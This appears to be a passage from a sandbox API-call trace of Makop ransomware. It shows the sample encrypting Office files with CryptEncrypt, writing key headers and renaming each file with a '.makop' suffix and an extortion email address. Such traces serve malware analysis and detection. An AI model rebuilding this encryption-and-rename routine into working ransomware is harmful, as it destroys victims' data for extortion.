CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0092.845] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.845] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0092.845] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.845] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.845] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.846] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.846] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.846] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.846] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.846] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0xc72, lpOverlapped=0x0) returned 1 [0092.846] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0xc80, dwBufLen=0xc80 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0xc80) returned 1 [0092.846] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.846] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0xc80, lpOverlapped=0x0) returned 1 [0092.847] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.847] SetEndOfFile (hFile=0x114) returned 1 [0092.854] GetProcessHeap () returned 0x48a0000 [0092.854] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0092.854] GetProcessHeap () returned 0x48a0000 [0092.854] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.854] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 155 [0092.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.855] CloseHandle (hObject=0x114) returned 1 [0092.855] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0092.855] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0092.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.857] GetProcessHeap () returned 0x48a0000 [0092.857] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.857] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.857] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x1, lpOverlapped=0x0) returned 1 [0092.872] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.872] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.873] GetProcessHeap () returned 0x48a0000 [0092.873] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0092.873] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0092.873] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.873] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0092.873] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.873] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.873] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.874] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.874] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.874] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.874] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x106f, lpOverlapped=0x0) returned 1 [0092.876] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x1070, dwBufLen=0x1070 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x1070) returned 1 [0092.876] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.876] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x1070, lpOverlapped=0x0) returned 1 [0092.876] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.876] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.876] SetEndOfFile (hFile=0x114) returned 1 [0092.884] GetProcessHeap () returned 0x48a0000 [0092.884] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0092.884] GetProcessHeap () returned 0x48a0000 [0092.884] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.884] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 150 [0092.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.898] CloseHandle (hObject=0x114) returned 1 [0092.898] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0092.898] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0092.898] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0092.898] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0092.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.901] GetProcessHeap () returned 0x48a0000 [0092.901] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.901] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.901] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0092.901] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0092.901] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.901] GetProcessHeap () returned 0x48a0000 [0092.901] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0092.901] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0092.902] CryptDestroyKey (hKey=0x48c7168) returned 1 [0092.902] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0092.906] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0092.906] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0092.906] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0092.906] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0092.906] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0092.906] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0092.906] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.906] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.906] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x100000, lpOverlapped=0x0) returned 1 [0092.939] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x100000, dwBufLen=0x100000 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x100000) returned 1 [0092.950] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.950] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x100000, lpOverlapped=0x0) returned 1 [0092.961] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1655e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.961] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0092.961] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.961] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x65510, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x65510, lpOverlapped=0x0) returned 1 [0092.988] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x65510, dwBufLen=0x65510 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x65510) returned 1 [0092.992] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.992] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x65510, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x65510, lpOverlapped=0x0) returned 1 [0092.995] CryptDestroyKey (hKey=0x48c7168) returned 1 [0092.995] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1655e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.995] SetEndOfFile (hFile=0x138) returned 1 [0093.004] GetProcessHeap () returned 0x48a0000 [0093.004] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.004] GetProcessHeap () returned 0x48a0000 [0093.004] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.004] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 138 [0093.005] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.006] CloseHandle (hObject=0x138) returned 1 [0093.007] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0093.007] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0093.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.009] GetProcessHeap () returned 0x48a0000 [0093.009] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.009] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.009] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0093.009] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0093.013] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0093.013] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.013] GetProcessHeap () returned 0x48a0000 [0093.013] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0093.014] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x6576010*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x6576010*=0x50) returned 1 [0093.014] CryptDestroyKey (hKey=0x48c7168) returned 1 [0093.014] WriteFile (in: hFile=0x138, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x6576028*=0x50, lpOverlapped=0x0) returned 1 [0093.014] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0093.014] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0093.014] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0093.014] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0093.015] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0093.015] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0093.015] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.015] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.015] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xaec3a, lpOverlapped=0x0) returned 1 [0093.034] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xaec40) returned 1 [0093.041] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.041] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xaec40, lpOverlapped=0x0) returned 1 [0093.046] CryptDestroyKey (hKey=0x48c7168) returned 1 [0093.046] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.046] SetEndOfFile (hFile=0x138) returned 1 [0093.055] GetProcessHeap () returned 0x48a0000 [0093.055] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0093.056] GetProcessHeap () returned 0x48a0000 [0093.056] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.056] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 